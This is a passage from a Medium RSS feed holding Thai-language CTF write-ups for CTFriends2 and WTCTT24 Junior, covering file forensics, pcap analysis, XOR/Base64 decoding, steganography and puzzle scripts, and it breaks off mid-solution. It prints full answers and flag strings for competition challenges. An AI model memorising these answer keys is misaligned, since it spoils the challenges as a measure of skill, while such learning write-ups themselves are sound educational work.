src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9076fd8501ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups โจทย์คัดเลือก CTFriends2 | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/writeups-%E0%B9%82%E0%B8%88%E0%B8%97%E0%B8%A2%E0%B9%8C%E0%B8%84%E0%B8%B1%E0%B8%94%E0%B9%80%E0%B8%A5%E0%B8%B7%E0%B8%AD%E0%B8%81-ctfriends2-mc4minta-6f9121e68f0e?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f9121e68f0e</guid>
            <category><![CDATA[ctf-write-ups]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctfriends2]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 23:02:06 GMT</pubDate>
            <atom:updated>2025-04-15T10:38:15.994Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PNgexnI-RElvPx6OEl5xpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*NkWVT00NsiDcvtFDif8LGQ.png" /></figure><h3>CH1: Welcome</h3><p>แตกไฟล์ Welcome.zip ที่โจทย์ให้มาจะเจอกับไฟล์ปริศนาชื่อ Welcome</p><p>ใช้คำสั่ง strings จะเจอกับ flag อันที่หนึ่ง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*H8p5IUEnyEFZudig8kGmGg.png" /><figcaption>strings Welcome</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*uiIlooz1LGexrDOkWVjrJw.png" /></figure><p>ใช้คำสั่ง file เพื่อดูประเภทไฟล์จะเจอว่าเป็น Microsoft Word 2007+</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Zj-45ZPR6Ddba_NpRP53Wg.png" /></figure><p>ก็เลยลอง Open with &gt; Word แล้วก็กด Yes เพื่อเอาเนื้อหากลับมา</p><p>จะเห็นว่ามันขึ้นเตือนเกี่ยวกับ Macros ก็กด Enable ไป</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*o-PPHfz2hDonT4Id1r5iug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CDTnAQHHaDPE2q56baMeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*c2c81q7rOfcFi8rx4yDcwQ.png" /></figure><p>ทีนี้ก้ไปตรง View &gt; Macros &gt; View Macros จะเจอกับ PuzzleMacro1 ให้กด run</p><p>แล้วก็จะได้ flag อันที่สอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*aq1TF9yypg_vFcy1L_wk1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*dObU0x9uJFiMXrqBtkZcEw.png" /></figure><p>flag:<br>1. CTFr2_Mini{Str1ngs_c0mm@nd_can_be_useful}<br>2. CTFr2_Mini{There_@re_W0rd_M4cr0_Flag}</p><h3>CH2: Simple_Comm.pcap</h3><p>นำไฟล์ pcap ไปเปิดใน wireshark แล้ว follow tcp stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*mi_BnwT1brjfO59ptBbYeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*va77K_fjBSJO0Vtaxne_Sg.png" /></figure><p>จะเจอกับข้อความที่มี hex สองอัน ให้เอาไป decode จะได้ flag อันที่หนึ่งและสอง</p><p>และจะได้ xor key ว่า Sup3rS3cre7</p><pre>43544672325f4d696e697b48496464336e49636d707d0d0a<br>43544672325f4d696e697b48496464336e7463707d0d0a0d0a<br>Yo agent i want to check if connection is okay or not?<br><br>Seem good agent007<br><br>okay then try remember this xor key of our conversation key={Sup3rS3cre7}<br><br>Roger agent007</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mG9BICVATfRwoRoY1W_Upw.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Hex(&#39;None&#39;)&amp;input=NDM1NDQ2NzIzMjVmNGQ2OTZlNjk3YjQ4NDk2NDY0MzM2ZTQ5NjM2ZDcwN2QwZDBh&amp;oeol=CRLF">https://gchq.github.io/CyberChef/#recipe=From_Hex(&#39;None&#39;)&amp;input=NDM1NDQ2NzIzMjVmNGQ2OTZlNjk3YjQ4NDk2NDY0MzM2ZTQ5NjM2ZDcwN2QwZDBh&amp;oeol=CRLF</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkaYFnxOtOnAoL0kP80s0g.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Hex(&#39;None&#39;)&amp;input=NDM1NDQ2NzIzMjVmNGQ2OTZlNjk3YjQ4NDk2NDY0MzM2ZTc0NjM3MDdkMGQwYTBkMGE&amp;oeol=CRLF">https://gchq.github.io/CyberChef/#recipe=From_Hex(&#39;None&#39;)&amp;input=NDM1NDQ2NzIzMjVmNGQ2OTZlNjk3YjQ4NDk2NDY0MzM2ZTc0NjM3MDdkMGQwYTBkMGE&amp;oeol=CRLF</a></figcaption></figure><p>Follow ต่อไปถึง Stream ที่ 3 จะเจอข้อความอีกอัน</p><pre>don&#39;t for get to base64 after key<br>HAACEx86QBAdCxc6BlBHHXNQCxcGXHMBGFIGc1IRF0VDOxACVlIyXRpSDV40HQNQGjxcDxcXFzAUHhMWNlARCxVDcxoFQVI+VhABBFA2VR9BUj1cF39vOlk=<br><br>ARoXVgBzXwYGRVQ7EBNYUjpHQxAcFyYGGV0Vc3A3NBcFDDgZXRsofBZFOmRgFgJWBgxeBggfVjQQDT54Xjk=<br><br>Bx0RR1IwXAweRV8mHV4TJjtSDRlFUTwHUEodJkFDEQpYIxACUgY6XA1SRBZyeHo+eA==</pre><p>อ่านๆ ดูแล้วจะเห็นว่าโจทย์คือเอาข้อความไป xor แล้ว encode ด้วย Base64 อีกที</p><p>ดังนั้นถ้าอยากถอดรหัสก็ต้องเอาไป decode Base64 แล้ว Xor ด้วย key ที่ได้มา d็จะได้ flag อันที่ 3 กับข้อความอีกนิดหน่อย</p><pre>Our misson is to check that are there any highschooler can decrypt our message or not<br><br>Roger let check it by using CTFr2_Mini{Ou7_S3cret_mezzage}<br><br>That cool huh. Thank for your cooperation !!!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVeWbN4_wm4Nu9e_zVsB2Q.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;Sup3rS3cre7&#39;%7D,&#39;Standard&#39;,false)&amp;input=QVJvWFZnQnpYd1lHUlZRN0VCTllVanBIUXhBY0Z5WUdHVjBWYzNBM05CY0ZERGdaWFJzb2ZCWkZPbVJnRmdKV0JneGVCZ2dmVmpRUURUNTRYams9&amp;oeol=CRLF">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;Sup3rS3cre7&#39;%7D,&#39;Standard&#39;,false)&amp;input=SEFBQ0V4ODZRQkFkQ3hjNkJsQkhIWE5RQ3hjR1hITUJHRklHYzFJUkYwVkRPeEFDVmxJeVhScFNEVjQwSFFOUUdqeGNEeGNYRnpBVUhoTVdObEFSQ3hWRGN4b0ZRVkkrVmhBQkJGQTJWUjlCVWoxY0YzOXZPbGs9&amp;oeol=CRLF</a></figcaption></figure><p>flag:<br>1. CTFr2_Mini{HIdd3nIcmp}<br>2. CTFr2_Mini{HIdd3ntcp}<br>3. CTFr2_Mini{Ou7_S3cret_mezzage}</p><h3>CH3: doggo.png</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*_eMEvYCOV_Ek-v3burf71Q.png" /></figure><p>ลองดู Metadata ด้วยคำสั่ง exiftool จะเจอ flag อันที่หนึ่งใน user comment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*AduKenzkOASD1V7ZA4-2sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9yWzERhHrWOsbTi95UJvw.png" /><figcaption>exiftool doggo.png</figcaption></figure><p>ต่อไปลองเช็คว่ามีไฟล์อื่นซ่อนอยู่ไหมโดยใช้คำสั่ง binwalk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfvtcQTRjmDjXXGNWS5xag.png" /></figure><p>จะเห็นว่ามี flag.txt อยู่ใน folder s3cret ซ่อนอยู่</p><p>ใช้คำสั่ง binwalk extract ออกมาจะเจอ flag อันที่สอง ใน folder s3cret</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZNJ5096gBSmGzJrpHFhUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*igsNuKAI_SY56ilZc5qTyg.png" /></figure><p>flag:<br>1. CTFr2_Mini{M3t@_dat4_is_useFu1_rlght}<br>2. CTFr2_Mini{D33p_4nd_D33per}</p><h3>CH4: chall.py</h3><pre>import random<br>import base64<br><br>encrypted_flag = &quot;MCE2F0AsKAocDA8/HA8kHCMMAwdRJD08ECkICgMQKTMjRg1WCxw4Hw02Qgg=&quot;<br>Challenge5_Artifact = &quot;GwEEFQFJSkwGChAECRAAARMRFEFLExMCERhLHRYDXw==&quot;<br><br>def encrypt_message(message, key):<br>    encrypted = &#39;&#39;.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(message))<br>    return base64.b64encode(encrypted.encode()).decode()<br><br>def generate_flag():<br>    charset = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&quot;<br>    return &quot;CTFr2_Mini{&quot; + &#39;&#39;.join(random.choices(charset, k=32)) + &quot;}&quot;<br><br>def main():<br>    secret_flag = generate_flag()<br>    key = &quot;supersecretkey&quot;<br>    encrypted_flag = encrypt_message(secret_flag, key)<br>    print(&quot;Welcome to the Cryptography CTF Challenge!&quot;)<br>    print(&quot;Your encrypted flag is:&quot;, encrypted_flag)<br>    print(&quot;Decrypt the flag using the correct key!&quot;)<br>    print(&quot;Secret flag:&quot;, secret_flag)<br>    <br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>อ่านโค้ดดูจะได้ความว่า โค้ดนี้เอา flag ไป xor ด้วยคีย์ supersecretkey แล้วเอาไปเข้ารหัสด้วย Base64</p><p>ดังนั้นเราต้องทำกลับหลังคือเอา excrypted_flag ไป ถอด Base64 แล้ว xor ด้วย key อันเดิม ก็จะได้ flag ที่ถูกต้องออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrcUSsqxi5UcOvPhRPoLZQ.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;supersecretkey&#39;%7D,&#39;Standard&#39;,false)&amp;input=TUNFMkYwQXNLQW9jREE4L0hBOGtIQ01NQXdkUkpEMDhFQ2tJQ2dNUUtUTWpSZzFXQ3h3NEh3MDJRZ2c9&amp;oeol=CR">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;supersecretkey&#39;%7D,&#39;Standard&#39;,false)&amp;input=TUNFMkYwQXNLQW9jREE4L0hBOGtIQ01NQXdkUkpEMDhFQ2tJQ2dNUUtUTWpSZzFXQ3h3NEh3MDJRZ2c9&amp;oeol=CR</a></figcaption></figure><p>flag:<br>1. CTFr2_Mini{TyvWiSiqt4GOYdBmspeYVQ5h5yyLthO1}</p><h3>CH5: Todolist</h3><p>จาก CH4 จะเห็นว่ามีสิ่งที่เรียกว่า Challenge5_Artifact อยู่ในโค้ด</p><pre>import random<br>import base64<br><br>encrypted_flag = &quot;MCE2F0AsKAocDA8/HA8kHCMMAwdRJD08ECkICgMQKTMjRg1WCxw4Hw02Qgg=&quot;<br>Challenge5_Artifact = &quot;GwEEFQFJSkwGChAECRAAARMRFEFLExMCERhLHRYDXw==&quot;</pre><p>ให้เอาไปถอดรหัสด้วยวิธีเดียวกับ CH4 จะได้ url มาหนึ่งอัน: <a href="https://todolistctf2.pages.dev/">https://todolistctf2.pages.dev/</a></p><p><a href="https://todolistctf2.pages.dev/">Hacker To-Do List</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DTRA1QYIf53fGo2dIjNsg.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;supersecretkey&#39;%7D,&#39;Standard&#39;,false)&amp;input=R3dFRUZRRkpTa3dHQ2hBRUNSQUFBUk1SRkVGTEV4TUNFUmhMSFJZRFh3PT0&amp;oeol=CR">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)XOR(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;supersecretkey&#39;%7D,&#39;Standard&#39;,false)&amp;input=R3dFRUZRRkpTa3dHQ2hBRUNSQUFBUk1SRkVGTEV4TUNFUmhMSFJZRFh3PT0&amp;oeol=CR</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H_bHPZyW3jJbKaA57XHmwA.png" /></figure><p>เข้าไปก็จะเจอกับ Application Todolist ซึ่งจะมีข้อนึงที่เขียนว่า</p><p>“Have you ever seen the Robots? 🤖”</p><p>ก็เลยลองเข้าไปดูตรง robots.txt (<a href="https://todolistctf2.pages.dev/robots.txt">https://todolistctf2.pages.dev/robots.txt</a>)</p><p>จะเจอ directory ชื่อ /hi_CTFriender ก็เข้าไปดู จะเจอ flag อันที่หนึ่ง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*DtR-IOwfD5NRJ8DKbHohVg.png" /></figure><p>แต่จะมีข้อความบอกว่า flag อีกอันถูกลบไปแล้ว</p><p>เราก็เลยไปลองเปิดใน <a href="http://web.archive.org/">web.archive.org</a> ก็เจอ snapshot เก่าที่มี flag ครบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2bTNUX0wuW7qeIbzPbnmA.png" /><figcaption><a href="https://web.archive.org/web/20250220042250/https://todolistctf2.pages.dev/hi_CTFriender">https://web.archive.org/web/20250220042250/https://todolistctf2.pages.dev/hi_CTFriender</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*jSLRMo5bO4m0-U1QJzdNJg.png" /></figure><p>flag:<br>1. CTFr2_Mini{CTFriend3r_H4ck3r_M0d3}<br>2. CTFr2_Mini{THere_are_some_w@y_b@ck}</p><p><a href="https://github.com/Mc4minta">Mc4minta - Overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f9121e68f0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups WTCTT24 Junior Final | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/wtctt24-junior-final-writeups-mc4minta-53134e04ebcb?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/53134e04ebcb</guid>
            <category><![CDATA[thailand-cyber-top-talent]]></category>
            <category><![CDATA[mc4minta]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[wtctt24]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Sat, 25 Jan 2025 11:47:12 GMT</pubDate>
            <atom:updated>2025-04-15T10:42:13.435Z</atom:updated>
            <content:encoded><![CDATA[<h3>Competition information:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*NjcgH-aFwx_2OEej3f1QeQ.png" /></figure><p>Date: 23 January 2025</p><p>Time: 9:00–15:30 (6.5 hours)</p><p>Team rank: #3 (1240 points)</p><p>Individual rank: #3 (1140 points)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmxepUBbNl80A74XLOf0JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0k8hoylakuNikBE8KXNm5w.png" /></figure><h3>Writeups list:</h3><ul><li>Secret of the Night (Cryptography)</li><li>Love Emoji (Cryptography)</li><li>Increasing Flag (Programming)</li><li>Super Bitwise (Programming)</li><li>Where is the SOURCE (Reverse Engineering &amp; Pwnable)</li><li>Headache (Web Application)</li><li>Walk Through (Web Application)</li><li>Deng Now Sis (Network Security)</li></ul><h3>Secret of the Night — Easy</h3><p>โจทย์ให้ภาพมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*LcY1uvF36Of-WPyAsCQcaA.png" /></figure><p>เสิชหาดูไปเจอ Lunar Alphabet Decode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*b68cYPF9KYHZK68vVCke7Q.png" /><figcaption><a href="https://www.dcode.fr/lunar-alphabet-leandro-katz">https://www.dcode.fr/lunar-alphabet-leandro-katz</a></figcaption></figure><p>จะได้ word เป็น “DCODE_WITH_THE_MOON”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*NSvt9ALWZNgbu_pJ6v_HTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*2q3EittmjYFvKP6YOPxiYw.png" /></figure><p>เอาไปปรับแสงจะเจอเลข 10 หลัก</p><p>จะได้ flag:</p><p>flag{DCODE_WITH_THE_MOON_1547425012}</p><h3>Emoji — Medium</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yXDT9GecsYMX5r9YPmR_Q.png" /></figure><pre>😒😘😍😓😧😕😋😘😛😢😑😋😑😙😛😖😕😋😚😛😋😙😍😠😠😑😞😋😣😔😍😠😋😕😋😟😠😕😘😘😋😘😛😢😑😋😑😙😛😖😕😋🗠🗝🗣🗝🗡🗞🗝🗡🗜🗥😩</pre><p>แปลงเป็น ASCII Number</p><pre>string = &quot;😒😘😍😓😧😕😋😘😛😢😑😋😑😙😛😖😕😋😚😛😋😙😍😠😠😑😞😋😣😔😍😠😋😕😋😟😠😕😘😘😋😘😛😢😑😋😑😙😛😖😕😋🗠🗝🗣🗝🗡🗞🗝🗡🗜🗥😩&quot;<br><br>for s in string:<br>    print(ord(s),end=&quot; &quot;)</pre><p>จะได้ output</p><pre>128530 128536 128525 128531 128551 128533 128523 128536 128539 128546 128529 128523 128529 128537 128539 128534 128533 128523 128538 128539 128523 128537 128525 128544 128544 128529 128542 128523 128547 128532 128525 128544 128523 128533 128523 128543 128544 128533 128536 128536 128523 128536 128539 128546 128529 128523 128529 128537 128539 128534 128533 128523 128480 128477 128483 128477 128481 128478 128477 128481 128476 128485 128553 </pre><p>เรารู้ว่า flag ขึ้นต้นด้วยตัว f ซึ่งมีค่า ASCII Number = 102</p><p>ดังนั้นถ้าอยากให้ ascii array นี้ถูกต้อง จะต้อง shift ให้อันแรกเป็น 102</p><pre>128530-102 = 128428</pre><p>ดังนั้นเราจะลบทุกค่าด้วย 128428 และแปลงกลับมาเป็น Char</p><pre>string = &quot;😒😘😍😓😧😕😋😘😛😢😑😋😑😙😛😖😕😋😚😛😋😙😍😠😠😑😞😋😣😔😍😠😋😕😋😟😠😕😘😘😋😘😛😢😑😋😑😙😛😖😕😋🗠🗝🗣🗝🗡🗞🗝🗡🗜🗥😩&quot;<br><br>ascii = []<br>for s in string:<br>    ascii.append(ord(s))<br><br>shifted = []<br>for a in ascii:<br>    shifted.append(a - 128428)<br>    <br>flag = []<br>for s in shifted:<br>    flag.append(chr(s))<br>    <br>for f in flag:<br>    print(f,end=&quot;&quot;)</pre><p>จะได้ flag:</p><p>flag{i_love_emoji_no_matter_what_i_still_love_emoji_4171521509}</p><h3>Increasing Flag — Easy</h3><p>โจทย์ให้ ไฟล์ python มา</p><pre>flag = input(&#39;Flag: &#39;)<br>check = [103, 110, 103, 127, 243, 839, 5144, 40421, 362990, 3628895, 39916921, 479001711, 6227020917, 87178291295, 1307674368105, 20922789888110, 355687428096099, 6402373705728114, 121645100408832101, 2432902008176640097, 51090942171709440115, 1124000727777607680101, 25852016738884976640095, 620448401733239439360116, 15511210043330985984000104, 403291461126605635584000101, 10888869450418352160768000095, 304888344611713860501504000102, 8841761993739701954543616000108, 265252859812191058636308480000097, 8222838654177922817725562880000103, 263130836933693530167218012160000095, 8683317618811886495518194401280000052, 295232799039604140847618609643520000055, 10333147966386144929666651337523200000051, 371993326789901217467999448150835200000053, 13763753091226345046315979581580902400000055, 523022617466601111760007224100074291200000051, 20397882081197443358640281739902897356800000049, 815915283247897734345611269596115894272000000048, 33452526613163807108170062053440751665152000000053, 1405006117752879898543142606244511569936384000000057, 60415263063373835637355132068513997507264512000000125]<br>enc = []<br>n = 1<br>for i in range(1, len(flag) + 1):<br>    n = n * i<br>    cal = ord(flag[i - 1]) + n<br>    enc.append(cal)<br>    if enc[i - 1] == check[i - 1]:<br>        print(&#39;Correct&#39;)<br>    else:<br>        print(&#39;Incorrect&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*-wqdrNUjLQXZ33gHQKrXgg.png" /></figure><p>โปรแกรมเป็นการเอา ค่า <a href="https://en.wikipedia.org/wiki/ASCII">ASCII </a>ของตัวนั้น + factorial ของ index นั้น</p><p>prompt ให้ chatgpt เขียนให้มัน reverse หลักการของระบบ encoding</p><pre>import math<br><br># Predefined check values<br>check = [103, 110, 103, 127, 243, 839, 5144, 40421, 362990, 3628895, 39916921, 479001711, 6227020917, 87178291295, 1307674368105, 20922789888110, 355687428096099, 6402373705728114, 121645100408832101, 2432902008176640097, 51090942171709440115, 1124000727777607680101, 25852016738884976640095, 620448401733239439360116, 15511210043330985984000104, 403291461126605635584000101, 10888869450418352160768000095, 304888344611713860501504000102, 8841761993739701954543616000108, 265252859812191058636308480000097, 8222838654177922817725562880000103, 263130836933693530167218012160000095, 8683317618811886495518194401280000052, 295232799039604140847618609643520000055, 10333147966386144929666651337523200000051, 371993326789901217467999448150835200000053, 13763753091226345046315979581580902400000055, 523022617466601111760007224100074291200000051, 20397882081197443358640281739902897356800000049, 815915283247897734345611269596115894272000000048, 33452526613163807108170062053440751665152000000053, 1405006117752879898543142606244511569936384000000057, 60415263063373835637355132068513997507264512000000125]<br><br># Initialize an empty list to store the flag characters<br>flag_chars = []<br><br># Loop through the check values<br>for i in range(len(check)):<br>    # Calculate the factorial of (i + 1)<br>    factorial = math.factorial(i + 1)<br>    <br>    # Calculate the ASCII value of the character<br>    ascii_value = check[i] - factorial<br>    <br>    # Convert the ASCII value to a character and append to the flag list<br>    flag_chars.append(chr(ascii_value))<br><br># Join the characters to form the flag string<br>flag = &#39;&#39;.join(flag_chars)<br><br>print(&quot;Recovered Flag:&quot;, flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*stLESAVqLCLVUOGhk5qKqw.png" /></figure><p>จะได้ flag:</p><p>flag{when_you_increase_the_flag_4735731059}</p><h3>Super Bitwise— Medium</h3><p>โจทย์ให้ python file มา</p><pre>from libnum import *<br>import hashlib<br><br>def secret(a, b):<br>    result = 0<br>    is_negative = (a &lt; 0) ^ (b &lt; 0)  <br>    a, b = abs(a), abs(b)<br><br>    while b &gt; 0:<br>        if b &amp; 1:  <br>            result = result + a + 1<br>        a = a*2 <br>        b &gt;&gt;= 1  <br><br>    return -result if is_negative else result<br><br>def hint1():<br>    print( &#39;secret num is in range(0,100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)&#39;)<br>def hint2():<br>    print(f&#39;{secret(10,0b111) = }&#39;)<br>    print(f&#39;{secret(10,0b1111) = }&#39;)<br>    print(f&#39;{secret(10,0b11111) = }&#39;)<br>    print(&#39;secret(secret_num,65535) = 3338190210085793296455519657559881806177254504039477189883619618747088635044397372904871283091&#39;)<br>    print(&#39;secret(secret_num,65536) = 3338241147603304333203768006070716625461700635946153614346729157461039151388870469683278315521&#39;)<br>    print(&#39;This is upgrade bitwise multiplication!&#39;)<br>    <br>hint1()<br>hint2()<br>print(&#39;Let Guess the number!\n&#39;)<br>while True:<br>    secret_num=int(input(&quot;Enter secret number: &quot;))<br>    check_hash=&#39;e554944164cba617ca6fa6575af5f7b8367430abcc806b11e553f30375549040&#39;<br>    if hashlib.sha256(str(secret_num).encode(&#39;utf-8&#39;)).hexdigest() == check_hash:<br>        print(&#39;Correct secret!&#39;)<br>        print(n2s(secret_num).decode())<br>        break<br>    else:<br>        print(&#39;Incorrect secret!&#39;)</pre><p>โจทย์บอกให้หา secret num</p><p>โดยโปรแกรมนี้เป็นโปรแกรมคูณเลขโดยใช้ Bitwise Operation แต่มีการเพิ่มเติมนิดหน่อย</p><pre>def secret(a, b):<br>    result = 0<br>    is_negative = (a &lt; 0) ^ (b &lt; 0)  <br>    a, b = abs(a), abs(b)<br><br>    while b &gt; 0:<br>        if b &amp; 1:  <br>            result = result + a + 1<br>            # ในการคูณปกติ ตรงนี้จะ เป็น<br>            # result = result + a<br>        a = a*2 <br>        b &gt;&gt;= 1  <br><br>    return -result if is_negative else result</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*ahot5dNdJ2HnwSkinjZkaw.png" /></figure><p>พอลองรันโปรแกรมดูก็จะพบกับคำใบ้มากมาย</p><pre>secret num is in range(0,100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)<br>secret(10,0b111) = 73 # 10 x 7<br>secret(10,0b1111) = 154 # 10 x 15<br>secret(10,0b11111) = 315 # 10 x 31<br>secret(secret_num,65535) = 3338190210085793296455519657559881806177254504039477189883619618747088635044397372904871283091<br>secret(secret_num,65536) = 3338241147603304333203768006070716625461700635946153614346729157461039151388870469683278315521<br>This is upgrade bitwise multiplication!<br>Let Guess the number!<br><br>Enter secret number:</pre><p>โดยโปรแกรมนี้ พอเอา เลข 10 คูณกับ 7 กลับได้ค่า 73 ซึ่งมีการเกินเกิดขึ้นรวมถึงการคูณอื่นๆ ด้วย</p><p>จะพบว่าโปรแกรมนี้จะคูณเลขเกินไปเป็นจำนวนของเลข 1 ในค่า binary ของตัวคูณ</p><pre>secret(10,0b111) = 73 # 10 x 7<br>secret(10,0b1111) = 154 # 10 x 15<br>secret(10,0b11111) = 315 # 10 x 31# สังเกตุที่โจทย์ให้มา<br>1. 10 x 7  = 70  + 3<br>2. 10 x 15 = 150 + 4<br>3. 10 x 31 = 310 + 5</pre><pre>กล่าวคือ ในการคูณธรรมดา a x b = c<br>       ในการคูณนี้ให้   a x b = d<br>       โดยให้        d = c + (จำนวนเลข 1 ของ b ในรูปแบบ binary)<br><br>ในปัญหานี้             a = secret num ที่เราต้องการหา</pre><p>โดยโจทย์ได้ให้การคูณที่รู้คำตอบแล้วมาสองอันคือ</p><pre>secret(secret_num,65535) = 3338190210085793296455519657559881806177254504039477189883619618747088635044397372904871283091<br>secret(secret_num,65536) = 3338241147603304333203768006070716625461700635946153614346729157461039151388870469683278315521</pre><pre>1.       a x 65535 = 3338190210085793296455519657559881806177254504039477189883619618747088635044397372904871283091<br>แทนเป็น   a x b1    = d1<br><br>2. a x 65536 = 3338241147603304333203768006070716625461700635946153614346729157461039151388870469683278315521<br>แทนเป็น   a x b2    = d2</pre><p>จะสังเกตว่า b1 และ b2 ห่างกันหนึ่ง ซึ่งตามหลักการคูณแล้วมันหมายความว่าการคำตอบของการคูณในข้อ 1. และ ข้อ 2. จะห่างกันเท่ากับ a หรือ secret number</p><pre># ตัวอย่างเพื่อให้เห็นภาพ<br>let a = 2, b1 = 3, b2 = 4 ; b2-b1 = 1<br><br>a x bn = c<br>1.  a * 3  = 6<br>2.  a * 4  = 8<br><br>c2 - c1 = 8 - 6 = 2 = a<br><br># จะเห็นว่าเราสามารถหา a ได้หากรู้คำตอบของสองการคูณที่ b ต่างกันเป็นหนึ่ง</pre><p>แต่ในการคูณของข้อนี้จะมีการเกินดังนั้นหากเราต้องการหา secret ด้วยวิธีในตัวอย่างข้างต้นเราต้องหาคำตอบของการคูณที่ถูกต้องก่อน ซึ่งเรารู้อยู่แล้วว่าคำตอบมันเกินมาเป็นจำนวนเลข 1 ใน binary ของ b เราก็แค่ต้องหาจำนวน 1 ใน binary ของ b แล้วก็เอาส่วนเกินไปลบ ออกกับคำตอบของเรา</p><pre># แปลง b เป็น binary<br><br>b1 = 65535<br>b2 = 65536<br><br>print(f&quot;b1 binary = {bin(b1)}&quot;)<br>print(f&quot;b1 binary = {bin(b2)}&quot;)<br><br># นับเลข 1 ใน binary ของ b<br><br>x1 = 0<br>x2 = 0<br><br>for b in str(bin(b1)):<br>    if(b==&#39;1&#39;): x1+=1<br>for b in str(bin(b2)):<br>    if(b==&#39;1&#39;): x2+=1<br><br>print(f&quot;1s in b1 = {x1}&quot;)<br>print(f&quot;1s in b2 = {x2}&quot;)<br><br># หักส่วนเกินของคำตอบด้วยจำนวนเลข 1 ใน b ของแต่ละอัน แล้วเอาคำตอบมาลบกันเพื่อหา secret<br><br>c1 = 